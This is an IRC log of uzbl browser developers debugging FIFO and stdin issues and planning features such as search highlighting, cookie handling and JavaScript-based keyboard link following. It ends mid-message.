11:24 < Dieterbe> i included the testscript misc
11:25 < dusanx> it works out of the box :(
11:25 < dusanx> with test script
11:25 < Dieterbe> yeah, try to remove the 2 printf's in control_fifo
11:25 < dusanx> ok
11:26 < dusanx> printf triggered and printf done?
11:26 < dusanx> ** ERROR **: Fifo: Error when creating /tmp/uzbl_fifo_27262979: File exists
11:27 < dusanx> WHAT?!
11:28 < dusanx> Dieterbe: when I start uzbl few times they all have same fifo path?
11:33 < Dieterbe> that is normal
11:33 < Dieterbe> xorg reuses window id's
11:33 < Dieterbe> but if the fifo from another instance is there, it means uzbl crashed. so you must clean it up :)
11:34 < dusanx> Dieterbe: not crashed, dwm kills apps so there is always fifo left
11:34 < dusanx> Dieterbe: up to this version uzbl always took another number
11:36 < dusanx> Dieterbe: if this is the case, uzbl should remove fifo folder on initialization
11:36 < Dieterbe> uhm no
11:37 < dusanx> yes or you are not compatible with dwm
11:37 < dusanx> let me test
11:37 < Dieterbe> 1) i have had pretty much always the same number ever since i started working on uzbl
11:37 < dusanx> 1) never had same number until now
11:37 < Dieterbe> 2) we should clean up fifo when we quit, when we get killed, when we receive signal from WM we have to close
11:37 < dusanx> 2) fifo works with or without printf here :)
11:37 < Dieterbe> 3) we cannot remove fifo folder. that would mean removing /tmp
11:38 < dusanx> Dieterbe: ok, I was thinking only current fifo folder, before trying to open it, once on initialization
11:38 < dusanx> but fifo works here, what now?!
11:39 < dusanx> Dieterbe: ignore me about deleting fifo
11:39 < dusanx> and just broke without printfs so I can confirm that
11:40 < Dieterbe> really? it's broken for you now too?
11:40 < dusanx> yes!
11:40 < dusanx> so I can look around finally :)
11:40 < dusanx> and printfs do fix/break code :(
11:41 < dusanx> yup, works with printfs
11:41 < dusanx> I am confused
11:42 < dusanx> let me remove _one_ of them (this is ridicoulous)
11:43 < jouz> hey guys, just wanted to give you an update on the "follow-link" feature: i had a look, but everything we could do now would be a dirty hack. if we wait with this a little, until the GOBject DOM-bindigs come to webkit, we can supply a much powerful and cleaner solution to this
11:43 < jouz>  https://bugs.webkit.org/show_bug.cgi?id=16401
11:50 < Dieterbe> dusanx: the printf's are probably *indirectly* related. i think we screw up our stack somewhere (could be anywhere in the program) and the printf's may affect the behavior of the broken stack
11:50 < dusanx> Dieterbe: definitely working with _AND_ without printfs. All problems I got previously were because I left test.sh running in another terminal. That can break uzbl. Again, everything else works as expected with or without printfs.
11:51 < Dieterbe> dusanx: even if i kill all my testscripts, it still breaks :(
11:51 < dusanx> Dieterbe: Not here, checked everything
11:52 < dusanx> Dieterbe: archlinux 64 bit version?
11:52 < Dieterbe> jouz: too bad to hear that. guess we have to wait then :(
11:52 < Dieterbe> dusanx: no 32
11:52 < dusanx> I am on 64
11:53 < dusanx> that makes no sense
11:53 < dusanx> but I can guarantee that everything works here :(
11:55 < dusanx> I have left test running without printfs, let's see how it works in an hour
11:57 < jouz> Dieterbe: yeah i'm sorry, but with those features still lacking, its close to impossible to make it work proper. I thought about manipulating the whole html-code rendered and reloading the manipulated. But then we have: 1. crappy performance and 2. ugly and unsave code 3. still not all problems solved.
11:57 < Dieterbe> jouz: yeah then it's better we wait
11:58 < dusanx> Dieterbe: works without printfs so far :(
11:58 < dusanx> running for 10 minutes now
12:02 < dusanx> Dieterbe: can you try it on any other PC?
12:02 < Dieterbe> yep. but it's also 32b
12:02 < dusanx> Dieterbe: well it's worth a shot if you can try there
12:03 < Dieterbe> jep just a sec
12:04 < Dieterbe> jouz: heh.. when i'm reading the commens, it keeps getting better and better, hopes are getting up the more i go towards the end
12:04 < Dieterbe> and then the last post is a punch in the face :(
12:04 < dusanx> Dieterbe: not only that we need latest webkit but 64 bit linux too? kidding :)
12:08 < dusanx> running without printfs for 20 minutes now
12:10 < jouz> Dieterbe: yeah the very last comment dampens it a little, but it nevertheless look like its on the way :). i might bug them a little on #webkit-gtk about how it looks.
12:13 < jouz> they have most stuff written, they just wish a rewrite
12:14 < Dieterbe> dusanx: ugh. on my other pc it says 'triggered..done' but nothing happens :?
12:15 < dusanx> Dieterbe: gets weirder, right?
12:15 < dusanx> can somebody else here help? any volonteers?
12:16 < Dieterbe> dusanx: hmm but that's only when i echo 'back'
12:16 < Dieterbe> when i echo more uri/refresh/.. commands it works
12:16 < dusanx> ???
12:16 < dusanx> can you try test.sh?
12:17 < Dieterbe> i just tested manually
12:20 < Dieterbe> i'll do a memory test on my system when i can miss it for a while
12:20 < dusanx> works on other pc?
12:21 < Dieterbe> if i echo 'back' into the pipe, nothing happens
12:22 < Dieterbe> but the other commands work
12:22 < dusanx> Dieterbe: I will add back to test.sh and see what happens
12:23 < dusanx> Dieterbe: back works here, actually everything works here
12:34 < dusanx> gone to eat, be back
12:45 < Dieterbe> dusanx: shit i discovered something else
12:45 < Dieterbe> echo -e 'aa\nbb' | dmenu
12:45 < Dieterbe> select 'aa', press tab, press backspace so you get 'a'
12:45 < Dieterbe> if you enter, it takes 'aa' :(
12:49 < dusanx> Dieterbe: that's really not good :(
13:19 < twold> well, it's d_menu_, what else would you expect? :-)
13:20 < twold> anyway, i think i can help you testing the pipe later, but having lunch right now
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13:21 < barrucadu> Hi
13:21 < Dieterbe> hey
13:21 < dusanx> hi!
13:22 < barrucadu> I've noticed that uzbl hangs in create_fifo(), for me at least.
13:22 < barrucadu> So I added no_fifo and no_socket variables to the config file
13:22 < barrucadu> Is this a known bug or not?
13:22 < dusanx> barrucadu: 32 or 64 bit linux?
13:23 < barrucadu> 64 bit
13:23 < dusanx> bah
13:23 < dusanx> works for me perfectly, Dieterbe has crashes
13:23 < Dieterbe> barrucadu: that bug is already fixed
13:23 < dusanx> so I am trying to find what is different
13:23 < Dieterbe> and i don't like your no_* variables (see comment on github)
13:24  * barrucadu looks
13:24 < barrucadu> That didn't occur to me, I forgot about that :)
13:24 < barrucadu> I'll remove the extra variables then
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14:02 < dusanx> see you all later, need to set up uzbl as main browser :) dwm needs to restart ;)
14:03 < Dieterbe> :P
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14:06 < yiyus> Dieterbe: the dmenu behavior when echo -e 'aa\nbb' is intended (not that I like it, though)
14:06 < yiyus> so, to launch the gimp, for example, you can write gi and press enter
14:07 < yiyus> the idea is not having to press Tab to complete
14:11 < Dieterbe> the thing is, we wanted to abuse dmenu to also edit the current url
14:12 < Dieterbe> so you would load all your history . current url is the last one in history, so we show it in front
14:12 < Dieterbe> the idea was you could hit tab to load the url in the search buffer and then edit it manually
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14:13 < Dieterbe> but I am now writing a standalone dmenu-alike thingie in gtk with text completion, i have something working but needs more work :)
14:13 < dusanx> done :) still setting few things but it's done :)
14:13 < Dieterbe> the idea is to make something like firefox' awesome bar
14:13 < Dieterbe> and i also want to make dusanx happy so he can copypaste :P
14:13 < yiyus> I have never used the firefox awesome bar
14:13 < dusanx> Dieterbe: that is so nice :)
14:14 < Dieterbe> yiyus: well it's really cool
14:15 < Dieterbe> if you type 'foo bar' it will match 'barlike foolala' for example
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14:20 < yiyus> I don't see where is the unix philosophy in implementing grep inside the url bar
14:20 < yiyus> cat history | grep should work
14:20 < yiyus> am I missing something?
14:20 < yiyus> (I guess so...)
14:20 < Dieterbe> aha
14:21 < Dieterbe> the idea is good, but how would you execute grep? 
14:22 < Dieterbe> maybe uzbl could ask the user for a command, where you can say you want to execute grep and pass some arugements, and then uzbl will execute that
14:23 < Dieterbe> but then maybe the results are not what you want and you want to redo, uzbl should let you edit the option string and execute again
14:23 < yiyus> that is what the shell does
14:25 < Dieterbe> so you're gonna spawn a shell, then you also need a terminal (unless i'm missing something)
14:25 < Dieterbe> and how are going to feed the result from the shell/terminal back into uzbl?
14:27 < yiyus> I thought the idea behind uzbl was a browser that just opens a page in a window, with no more complications
14:30 < Dieterbe> yes something like that.  but you should be able to edit the url manually (outside of uzbl).  and right now we're discussing ways to do that
14:31 < yiyus> aha, ok, so that awesome bar thing will stay outside of uzbl, that's great
14:31 < Dieterbe> of course
14:31 < Dieterbe> it's similar to dmenu, but in gtk and with awesome-bar like matching style. and copypaste support
14:32 < Dieterbe> it will be a separate program, which you should be able to use in a variety of other things
14:34 < Dieterbe> yiyus: but i also like your grep proposal, but need to think of ways how we could make it practical to use
14:39 < yiyus> I have lots of code handling lists (for music and photos) in xlib (see http://code.google.com/p/dynamic-io/), I will probably write a "uzbl frontend" at some point
14:39 < yiyus> but not yet, the code is changing too fast
14:40 < dusanx> What a nice setup I have :) Perfect!
14:41 < dusanx> Dieterbe: insert mode is broken completely, I will fix it
14:42 < Dieterbe> dusanx: what's broken about it?
14:42 < dusanx> Dieterbe: press i and try to type something in edit field...
14:42 < Dieterbe> yiyus: the "api" is actually quite stable.  the commands such as "uri <uri>", "back" etc are even the same since the very beginning. the internal implementation has been changed a lot though
14:43 < Dieterbe> dusanx: indeed that's broken :P
14:43 < Dieterbe> dusanx: because of your copypaste stuff?
14:43 < dusanx> Dieterbe: fixing
14:44 < dusanx> I will fix it no worries
14:44 < Dieterbe> np :)
14:46 < Dieterbe> yiyus: dio looks cool. what do you mean with "These items can be played on selection"
14:51 < dusanx> Dieterbe: fixed, on my git, you can pull
14:51 < Dieterbe> k
14:52 < dusanx> how far away are we from handling cookies? I just got case where I might need them :P
14:54 < Dieterbe> i dunno sm217 was working on that
14:54 < Dieterbe> maybe he shows up today :)
14:54 < Dieterbe> i don't think it's that hard
14:55 < ruskie> hmm how often does|will experimental -> stable merge happen?
14:55 < Dieterbe> normally it's daily. it didn't happen for a while because of the fifo bug. but it seems like the fifo bug is only on my system
14:56 < Dieterbe> i'll check all changes and merge again
14:56 < GNU\caust1c> a
14:56 < GNU\caust1c> oh, sry :/
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15:13 < github> uzbl: Dieter Plaetinck experimental SHA1-1bf1244
15:13 < github> cleanup configs
15:13 < github> http://bit.ly/PIiX5
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15:21 < yiyus> Dieterbe: "items can be played on selection" means they can be selected with the keyoard or the mouse and play them
15:22 < Dieterbe> yiyus: play? your dio invokes mpc or something?
15:23 < yiyus> yes, I'm using mpg123 for music, mplayer for video, and gqview for images
15:23 < yiyus> items are played in order or randomly until the user stops it
15:31 < Dieterbe> ruskie: i just merged experimental into master. so master contains the latest stuff
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15:32 < Dieterbe> i go eat now
15:33 < ruskie> enjoy
15:33  * ruskie updates
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16:36 < dusanx> I have almost finished search & highlight. Any last wishes? :D
16:38 < Dieterbe> o_O
16:38 < Dieterbe> huh?
16:38 < dusanx>    /_ = search %s :)
16:39 < Dieterbe> niiice
16:39 < Dieterbe> i thought you couldn't do that with webkit, don't you need access to the dom model for it?
16:39 < Dieterbe> how does webkit "expose" the content?
16:39 < dusanx> with highlight, I was always envying bc mac safari has that
16:39 < Dieterbe> i'm curious
16:39 < dusanx> very nice looking, you'll see in 10 minutes :)
16:40 < dusanx> but I am adding this: when you use / enter (without param) next time, you search next, last search string is saved :)
16:41 < dusanx> http://webkitgtk.org/reference/webkitgtk-WebKitWebView.html#webkit-web-view-set-highlight-text-matches
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16:41 < dusanx> simple webkit call :)
16:45 < sm217> any ideas what does `assertion `something != NULL' failed` mean ?
16:46 < dusanx> sm217: what you tried to do?
16:46 < sm217> I deleted a cookie from SoupCookieJar
16:47 < sm217> if I do not delete it, no message.
16:47 < dusanx> sm217: maybe you tried to free something that cannot be fried
16:47 < dusanx> probably need another step before delete
16:47 < sm217> hmm
16:49 < sm217> ah, I think I get it.
16:50 < sm217> yes, I was deleting a cookie by NULL pointer :)
16:50 < dusanx> sm217: ;)
16:53 < sm217> aha, I'm getting cookie from browser...
16:57 < sm217> hmm.
16:57 < dusanx> MY KUNG FU IS THE BEST!
16:58 < sm217> WAI
16:58 < dusanx> finished search, pushing :)
16:59 < dusanx> done, on my git
17:00 < dusanx>  /text<enter> highlights text and searches next match
17:00 < dusanx> of course / can be mapped, that's command
17:00 < dusanx> another /<enter> searches next match for previous search
17:02 < anydot> Dieterbe: Can you merge from me?
17:02 < dusanx> just a sec, small fix
17:03 < anydot> Just solved bug with window resizing while hovering some link :)
17:03 < dusanx> need to turn off old highlights or they all stay on
17:03 < anydot> Also, added function to reload with ignoring cache. :)
17:04 < anydot> And solve one memory leak, and removed unneeded eprint/estrdup function, (g_strdup will abort whole program in case when there's no memory)
17:06 < Dieterbe> anydot: see my comment @ http://github.com/Barrucadu/uzbl/commit/c3a8768621d322da0472e4837ee4cafb9110f01a
17:06 < Dieterbe> dusanx: can you update the CHECKLIST file? first merge from me, then update the file
17:07 < dusanx> Dieterbe: will do, just to finish this, I will push, pull from you, push again
17:08 < anydot> Dieterbe: That depends on webkit implementation.
17:09 < anydot> For now, both can behave in same way, unless some cache manager is plugged in.
17:09 < Dieterbe> so how does one do a plain refresh?
17:09 < anydot> What is "plain refresh"?
17:11 < Dieterbe> render view again without fetching anything from network
17:11 < sm217> hmm, I see loads of fun
17:11 < sm217> we can easily do ad filtering and such :P
17:12 < anydot> Dieterbe: That should be done with reload fn.
17:12 < anydot> Dieterbe: Still, this is step very dependent on webkit, of course.
17:12 < Dieterbe> warning: implicit declaration of function ‘free’
17:12 < Dieterbe> anyone an idea what i should do with this?
17:13 < anydot> #include <string.h>
17:13 < sm217> *stdlib
17:13 < sm217> or hmm.
17:16 < dusanx> Dieterbe: need to fix sampleconfig-dev, only that file can't merge
17:16 < Dieterbe> just take my latest sampleconfig-dev and apply your changes to it
17:17 < dusanx> Dieterbe: how to do that?
17:17 < dusanx> examples/configs/sampleconfig-dev: needs merge
17:17 < dusanx> found it
17:34 < Dieterbe> ugh
17:34 < Dieterbe>     char buf[1024];
17:34 < Dieterbe>     unsigned int len = 0;
17:34 < Dieterbe>     printf("stdin");
17:34 < Dieterbe>     while(fgets(buf, sizeof buf, stdin) != NULL) {
17:34 < Dieterbe> i'm trying to read stdin
17:34 < Dieterbe> why does this hang?
17:34 < Dieterbe> it hangs in the fgets call
17:35 < dusanx> Dieterbe: you can merge my latest git, search works :)
17:35 < dusanx> merged from you with problems but I fixed them
17:36 < Dieterbe> any idea for the above?
17:37 < dusanx> let me see
17:37 < dusanx> nope, I have not meet with stdin or stdout so far
17:38 < dusanx> Dieterbe: have you opened stdin? I guess it behaves like any file
17:38 < Dieterbe> hmm i thought it would be opened by default. i'll check
17:38 < dusanx> Dieterbe: try search :)
17:39 < Dieterbe> hm in the dmenu source they also just do it like this. no opening
17:39 < dusanx> I will check CHECKLIST later, need to go out for an hour or two
17:42 < Dieterbe> nice
17:42 < Dieterbe> can you do more then just hilighting?
17:42 < dusanx> I can sing and eat sandwich at the same time!
17:42 < dusanx> :)
17:42 < dusanx> what do you want?
17:43 < Dieterbe> jump from one item to the next, keyboard controlled
17:43 < dusanx> press /enter
17:43 < dusanx> or you can bind some new key = search (without %s) :)
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17:43 < github> uzbl: dusanx experimental SHA1-1825c5b
17:43 < github> Search
17:43 < github> http://bit.ly/wa9xg
17:43 < github> uzbl: dusanx experimental SHA1-2fc5928
17:43 < github> Small search fix
17:43 < github> http://bit.ly/8WKey
17:44 < github> uzbl: dusanx experimental SHA1-632c220
17:44 < sm217> Dieterbe: stdin is open by default, and fgets will return null on error or EOF
17:44 < github> Latest config-dev
17:44 < github> http://bit.ly/23ck33
17:44 < github> uzbl: dusanx experimental SHA1-bb178c7
17:44 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into di
17:44 < github> http://bit.ly/dENyG
17:44 < github> uzbl: dusanx experimental SHA1-37b63dd
17:44 < sm217> so it will loop forever
17:44 < github> Merged Dieter branch
17:44 < github> http://bit.ly/FPq0u
17:44 < github> uzbl: Dieter Plaetinck experimental SHA1-6eaf20f
17:44 < github> cleanup config files after dusanx search stuff
17:44 < sm217> omg
17:44 < github> http://bit.ly/mc2WR
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17:44 < Dieterbe> dusanx: yeah but /<enter> is not very convenient
17:44 < sm217> github: DIE!!!! >:D
17:44 < Dieterbe> both are controlled with the right pinkie
17:44 < Dieterbe> very hard combo
17:45 < dusanx> Dieterbe: bind ; = search
17:45 < dusanx> keep /_ = search %s
17:45 < Dieterbe> k
17:45 < dusanx> or anything you want, if without parameter search searches last search term ;)
17:46 < Dieterbe> wohoo
17:46 < Dieterbe> works nice
17:46 < dusanx> got to go, see you all later
17:46 < dusanx> I know boss ;)
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17:47 < github> uzbl: Dieter Plaetinck experimental SHA1-31fe93a
17:47 < github> better seach configs
17:47 < github> http://bit.ly/l02Q7
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17:47 < sm217> eww
17:47 < sm217> can it at leas stop joining and leaving?
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17:51 < github> uzbl: Dieter Plaetinck experimental SHA1-070aab9
17:51 < github> doc updates
17:51 < github> http://bit.ly/GwzGO
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17:51 < Dieterbe> sm217: no :P
17:52 < sm217> eh.
17:53 < Dieterbe> sm217: then why does my fgets() hang? :(
17:53 < sm217> I told ya
17:53 < sm217> 184404 < sm217> Dieterbe: stdin is open by default, and fgets will return null on error or EOF
17:54 < Dieterbe> no.. i read that
17:54 < Dieterbe> that's exactly why i ask why it hangs
17:55 < sm217> because it never gets to end of stdin or some error ;)
17:55 < sm217> 184404 < sm217> Dieterbe: stdin is open by default, and fgets will return null on error or EOF
17:55 < sm217> oh
17:55 < sm217> static void
17:55 < sm217> ask_for_cookie
17:55 < sm217> :P
17:56 < Dieterbe> sigh.. what?
17:56 < Dieterbe> just tell me
17:56 < Dieterbe>     while(fgets(buf, sizeof buf, stdin)) {
17:56 < Dieterbe> what should this become then?
17:56 < Dieterbe> i tried != NULL too
17:56 < Dieterbe> same thing
17:56 < sm217> what do you want to do, get a string?
17:57 < Dieterbe> get whatever is on stdin. if there is stuff, then the stuff, otherwise nothing
17:57 < Dieterbe> but you know what, i just noticed dmenu also hangs if you don't pass it anything. i'll stick to that behavior
17:57 < sm217> then use if
17:58 < sm217> if there is something, it will return a string pointer and so proceed
17:58 < sm217> if there's nothing, it will go on
18:38 < sm217> huh?
18:56 < Dieterbe> what
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18:59 < sm217> Dieterbe: did you solve that
18:59 < sm217> whee
18:59 < sm217> rob| is finally here :)
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19:00 < rob|> yeah,
19:00 < rob|> hey guys, finally at home after the WE trip :)
19:00 < Dieterbe> sm217: yeah i solved it
19:00 < Dieterbe> finally rob| 
19:00 < Dieterbe> we've spent 3 day waiting for you :/
19:01 < Dieterbe> so you better have something to show :P
19:02 < rob|> hehe, i can invite you guys to a czech beer, been in prague
19:03 < rob|> and my car's been broken into :(
19:04 < sm217> uh :<
19:04 < dusanx> ALL: I will finish follow link stub today but somebody will have to finish it, ok? I almost have working example.
19:04 < sm217> ok
19:05 < sm217> rob|: we have proxy working, and I'm baking some cookies :P
19:05 < Dieterbe> dusanx: i'm very curious
19:05 < rob|> sm217: oh, very cool
19:05 < sm217> and many other cool things
19:05 < dusanx> Dieterbe: want to try? two lines of code, you can delete them after trying
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19:06 < Dieterbe> yeah actually uzbl has improved 10 times over the last days, so.. :P
19:06 < rob|> i guess i won't do any hacking today, but i promise to review and push my code tomorrow
19:06 < Dieterbe> dusanx: no, later
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19:06 < sm217> brb
19:06 < Dieterbe> rob|: okay. is it coming alright with the car? assistive authorities in czech?
19:07 < Dieterbe> or you left the car in your hometown?
19:07 < rob|> Dieterbe: yeah the police guys were quite nice, already talked to the assigurance - so, should be ok. the stupid thing was that they broke the window
19:08 < rob|> and took the car radio
19:08 < sm217> lol
19:08 < sm217> just some drunkies.
19:09 < rob|> probably, though my car was not the only one broken into there
19:09 < sm217> o_o
19:13 < Dieterbe> dusanx: YES :) I've got a "awesomebar" standalone gtk thingie working :D
19:13 < anydot> btw, why is not 'n' as search next function?
19:13 < Dieterbe> well, the matching works, now i just need to fix the hilighting
19:13 < dusanx> Dieterbe: nice, can I see?
19:13 < Dieterbe> a bit of patience :P
19:13 < dusanx> Dieterbe: never used awesomebar, don't know what to expect
19:14 < Dieterbe> dusanx: i just picked ';' .. feel free to change it to 'n'
19:14 < dusanx> Dieterbe: I did not asked about n, I like ;    :P
19:15 < dusanx> sm217: want to try finishing follow key? I can paste two lines here
19:15 < sm217> hmm
19:16 < dusanx> only if you wish :)
19:16 < sm217> what are you actually talking about :P
19:16 < dusanx> vimperator or conkeror keyboard navigation
19:16 < sm217> I'd try, what if a bit later?
19:17 < dusanx> np I'll probably be here
19:17 < sm217> need to finish wth cookies
19:17 < dusanx> It's few weeks of work, nothing special :P
19:17 < sm217> oh
19:18 < sm217> if that would take long, I must retire
19:19 < sm217> going to crimea innnnn three days :p
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19:51 < barrucadu> Hi
19:51 < sm217> hi barrucadu
20:00 < Dieterbe> dusanx: how is the link following going?
20:00 < Dieterbe> hi mike
20:00 < Dieterbe> i mean.. barrucadu :P
20:04 < barrucadu> :p
20:12 < dusanx> Dieterbe: I am back
20:13 < dusanx> well I have created 'proof of concept' rest is on you guys :P
20:14 < dusanx> want to try?
20:16 < Dieterbe> dusanx: ok
20:17 < dusanx> Dieterbe: find func progress_change_cb
20:17 < dusanx> add below update_title(); line this two lines:
20:17 < dusanx> const gchar script[] =  "for (var i=0; i < document.links.length; i++) { var li = document.links[i]; li.innerText =i; }";
20:17 < dusanx> if (load_progress == 100) webkit_web_view_execute_script (page, script);
20:17 < dusanx> that's it :P
20:18 < Dieterbe> ok then what?
20:19 < dusanx> load any page, see how links are changed -> proof of concept that we can change inner text or html of any link, I will explain
20:19 < Dieterbe> lol
20:19 < Dieterbe> yeah
20:19 < dusanx> got idea?
20:19 < Dieterbe> sweet
20:19 < dusanx> ;)
20:19 < dusanx> beware of old man! lol
20:19 < Dieterbe> :P
20:20 < Dieterbe> cool stuff, you're executing javascript inside C :P
20:20 < dusanx> so we just need to find somebody skilled in JS to finish that :P
20:20 < Dieterbe> i know my way around in js
20:20 < dusanx> my idea (I don't know js):
20:20 < dusanx> -on key numerate whatever all visible links
20:20 < dusanx> -on key search our numeration
20:20 < dusanx> -on enter follow link
20:21 < dusanx> -on esc remove numeration
20:21 < dusanx> that's it
20:21 < dusanx> not numeration but some marking, you know what I mean
20:21 < Dieterbe> i wouldn't rename the links to have numbers
20:21 < dusanx> see above
20:21 < Dieterbe> yeah keep the words as they are , and do text search
20:21 < barrucadu> This has given me a completely different idea which I'll implement now :D
20:21 < dusanx> yup
20:22 < Dieterbe> it's a bit ugly that it's in JS though
20:23 < dusanx> Dieterbe: agreed but we need JS just to do numeration (actually our highlighting), find will work from C
20:24 < dusanx> and we don't need to wait until webkit gets proper dom, can do follow right now :)
20:24 < dusanx> barrucadu: what you have in mind?
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20:26 < Dieterbe> hey jouz 
20:26 < jouz> jo
20:27 < Dieterbe> jouz: dusanx has proposed a way we could do link following, by using javascript
20:27 < Dieterbe> since we can't use the DOM from C
20:27 < Dieterbe> it's a bit ugly, but could be workable
20:28 < jouz> if you "inject" javascript functions into the code that modify the links, and invoke the functions externaly?
20:28 < Dieterbe> something like:
20:28 < Dieterbe>     const gchar script[] =  "for (var i=0; i < document.links.length; i++) { var li = document.links[i]; li.innerText =i; }";
20:28 < Dieterbe>     if (load_progress == 100) webkit_web_view_execute_script (page, script);
20:28 < Dieterbe> yeah something like that
20:28 < Dieterbe> execute javascript from inside C
20:28 < barrucadu> dusanx: a "script" command, which runs javascript on the specified page
20:29 < dusanx> barrucadu: hmm, extensions?
20:29 < barrucadu> that's the idea
20:29 < dusanx> barrucadu: ok, I urgently need spell checker :P
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20:34 < jouz> Dieterbe: i'll have another look at that!
20:34 < barrucadu> dusanx: We have (possible) extensions: http://github.com/Barrucadu/uzbl/commit/01cfcffd7762edd4bed94e91b2013890680765a9
20:34 < barrucadu> :)
20:35 < jouz> btw: whats the current branch to pull to keep possible merges least painful?
20:35 < dusanx> barrucadu: lol
20:36 < dusanx> brb
20:36 < Dieterbe> barrucadu / dusanx i honestly hope we never have to use that function :/
20:36 < Dieterbe> or at least as little times as possible
20:36 < barrucadu> Dieterbe: Why? It's nicer than implementing things like spell checking in the core program
20:36 < Dieterbe> spell checking? spell checking does not belong in a browser.
20:37 < Dieterbe> remember unix philosophy and all that? :P
20:37 < barrucadu> :p
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20:38 < barrucadu> It's much nicer than typing up whatever you're doing in another text editor, running aspell on it, and then pasting in the form fields in uzbl. That's just a hassle :p
20:41  * barrucadu checks his user agent and notes with some satisfaction that he is proclaiming he uses "uzbl" to the world
20:41 < barrucadu> :)
20:41 < Dieterbe> :P
20:42 < barrucadu> I think I'll edit that to contain a little more info though… right now I probably look like a bot :p
20:42 < sm217> heh
20:42 < Dieterbe> yeah i was wondering if a user could say like: user_agent = "uzbl $VERSION" and inside the code we would replace $VERSION
20:43 < ruskie> why not simply provide a full user-agent spoofing...
20:43 < Dieterbe> that's what we do already
20:43 < ruskie> ahh
20:45 < barrucadu> "Uzbl (Webkit 1.1.6-1 / Arch Linux x86_64 2.6.29.2-1)" :)
20:47 < Dieterbe> we should have the builddate in our user agent :)
20:47 < Dieterbe> or maybe the sha1 sum of the commit that you built from :D
20:47 < ruskie> don't forget the commit hash
20:48 < sm217> and check for that on website, and poke user to update :P
20:48 < barrucadu> If I find out how to do string search/replace in C I may stick in a few variables: $webkitver, $kernver, $commit, etc
20:49 < Dieterbe> we could maybe also use the pango markup language for it
20:49  * barrucadu notices he can't post to a certain forum in uzbl
20:49 < barrucadu> That's odd, I'll try reloading the page…
20:50 < barrucadu> It's sort of vital that I can, as I'm the webmaster and an admin
20:50 < ruskie> barrucadu, probably cookies
20:50 < barrucadu> Hmm, "The uploaded file is empty."
20:51  * barrucadu closes and reopens uzbl
20:51  * barrucadu gives up and opens Opera
20:52 < sm217> any one free to write cookie handling script?
20:52 < barrucadu> I *was* going to brag about using a browser I'm developing to administrate the forum… :p
20:52 < ruskie> lol
20:53 < barrucadu> I could still do it, and then quickly open Uzbl so my user agent is the Uzbl one :p
20:53 < ruskie> or just spoof it
20:56 < dusanx> I am back :)
20:56 < dusanx> Dieterbe: spell checker was joke
20:57 < ruskie> hmm in kazehakase(my current browser) I'm able to right click in a text area and select an external editor to edit it... would something like this be possible to do with uzbl?
20:57 < ruskie> I don't know if webkit supports that
20:58 < Dieterbe> dusanx: phew
20:58 < barrucadu> Dieterbe: I, however, like spell checkers :p
20:58 < barrucadu> Not that I use one in Opera, but it'd be nice…
20:58 < Dieterbe> barrucadu: use them all you want. but don't implement one *inside* uzbl :P
20:58 < barrucadu> I won't :p
20:59 < barrucadu> I'll use a script :D
20:59 < barrucadu> Even though Webkit seems slower at downloading/rendering pages than Opera, I feel as if I'm using the Internet much faster :)
21:00 < ruskie> could always add pre-loading then you'd get quite some speed ;)
21:01 < Dieterbe> once we got keybound link following and cookies and all that working, I think it will be very hard to browse faster with anything then with uzbl
21:01  * barrucadu has an idea
21:02 < barrucadu> Currently, there is absolutely no form of popup blocking. What do you think about a block_popups entry in the config file?
21:02 < ruskie> privoxy
21:02 < ruskie> works well for all kinds of ad and spy nonsense
21:02 < Grauwolf> i prefer polipo over privoxy
21:02 < sm217> om nom nom.
21:03 < dusanx> IMO uzbl only lacks keyboard following, _nothing_ _else_
21:03 < Grauwolf> dusanx: ack
21:03 < sm217> dusanx: it still lacks om nom nom.
21:03 < barrucadu> You can never have too much om nom nom
21:03 < barrucadu> I propose that, upon starting, an OGG file of the cookie monster gets played :p
21:03 < Grauwolf> but i would prefer a uzbl in qt
21:03 < dusanx> what?
21:04 < dusanx> is ack and om nom nom?!
21:04 < Dieterbe> barrucadu: i would also suggest privoxy
21:04 < barrucadu> ok
21:05 < Grauwolf> i really don't like the libwebkit deps. in qt webkit is already integrated
21:05 < dusanx> Grauwolf: too late, we are using gtk pretty extensively
21:05 < barrucadu> Grauwolf: Feel free to fork it :)
21:06 < dusanx> I would not take part in qt project, not using qt...
21:06 < Grauwolf> barrucadu: maybe i will ;)
21:06 < sm217> hmm
21:06 < dusanx> so... has anybody finished keyboard following while we are chatting?
21:06 < sm217> :P
21:07 < sm217> one question
21:07 < sm217> do we need to ask for cookie each time we may need it or once per session
21:08 < Dieterbe> http://bbs.archlinux.org/viewtopic.php?pid=547371#p547371 <-----
21:08 < sm217> <3
21:09 < barrucadu> :D
21:10 < Dieterbe> i think this could turn out quite useful.. for say.. hmm i don't know.. maybe some sort of browser
21:10 < sm217> whee %)
21:11 < sm217> answer me please.
21:11 < Dieterbe> that's the script's problem
21:12 < Grauwolf> this is the code used in vimperopera for hinting http://attachr.com/12149
21:12 < Grauwolf> (line 325)
21:12 < Dieterbe> sm217: just call the script every time
21:12 < sm217> Dieterbe: okay
21:12 < Dieterbe> lol "vimperopera" :)
21:12 < Grauwolf> but it's javascript
21:12 < sm217> less work for me :P
21:14 < dusanx> Grauwolf: JS is perfect for what we have now :)
21:14 < sm217> I huess I'll leave cookie change case for now.
21:14 < Dieterbe> Grauwolf: wow dude
21:14 < Dieterbe> this opens doors
21:14 < Dieterbe> we could make thelink folowwing 100% user customizable
21:14 < Dieterbe> users can just write their own JS for it
21:15 < Dieterbe> then we immediately have our first plugin :P
21:15 < sm217> http://gist.github.com/106118 <- our cookie handler spec \o/
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21:15 < dusanx> Dieterbe: many users don't know JS, including me :(
21:15 < sm217> now someone write it or I'll eat all cookies and give you none :D
21:15 < Grauwolf> Dieterbe: why not fully support userscripts like opera or firefox's greasemonkey
21:15 < Dieterbe> dusanx: well we could deliver some sample scripts like we have sample configs now
21:16 < dusanx> Dieterbe: that's better
21:16 < dusanx> no, it will now work
21:16 < dusanx> we need C key handling
21:16 < dusanx> JS should be used only to mark links
21:16 < Dieterbe> sm217: ok give me 5mins
21:16 < Dieterbe> sm217: you'll have a handler script
21:17 < sm217> wait a sec
21:17 < Dieterbe> ...
21:17 < Dieterbe> make up your mind :P
21:17 < sm217> uzbl gives request address by default, right?
21:18 < sm217> oh, well, that's not ot.
21:18 < sm217> *it.
21:18 < Dieterbe> yeah it does
21:18 < Dieterbe> it gives the current uri of the curent loaded page
21:19 < sm217> that's not it :P
21:21 < sm217> may I post a long link :P
21:21 < sm217> can uzbl give requset url like this:
